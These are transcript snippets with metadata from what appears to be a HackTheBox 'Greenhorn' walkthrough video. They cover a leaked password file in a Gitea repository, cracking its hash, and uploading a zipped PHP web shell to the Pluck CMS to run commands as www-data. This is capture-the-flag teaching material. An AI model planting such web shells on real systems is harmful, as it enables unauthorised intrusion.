could register for an account but if we just click on explore let's see what we have we do have a repository from Green admin green horn there is one commit that commit is from the user Junior so we have a user on this box and it's the first release of their source code and looking at this it looks like to be pluck so ...
341.6
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
pass. PHP so in reality um whenever you do things like this pass. PHP probably should be in a get ignore file and should be like pass. php. example or something and just have dummy data here and that way you just never um upload this file to your server the other common way to do it is through environment file uh files...
393.759
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
doesn't have any salt Tang or um bcrypt or anything like that I always just go to like crackstation and then test it out first to see if it's um already known is it crack station. net maybe yes it is so we can paste this hash in tell it I'm not a robot and then click some with motorcycles okay uh crack hash not found i...
461.08
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
quick I'm going to do makeer let's do shell and then we can go in Shell create shell. PHP and then just do a quick PHP oneliner of system then request we'll do CMD like this that looks fine and let's zip it up so we'll do zip shell we need to add- R for recursive so it um goes in the folder give it the file name of she...
529.16
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
PHP there we go we have a shell so if we do CMD equals who am I we have dubdub duub data so let's get a reverse shell real quick if you're curious how I knew um this data structure we were just looking at it in the um g t instance so if we do Green hord htb 3000 let me turn burp Suite off you can kind of see how it wor...
597.72
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }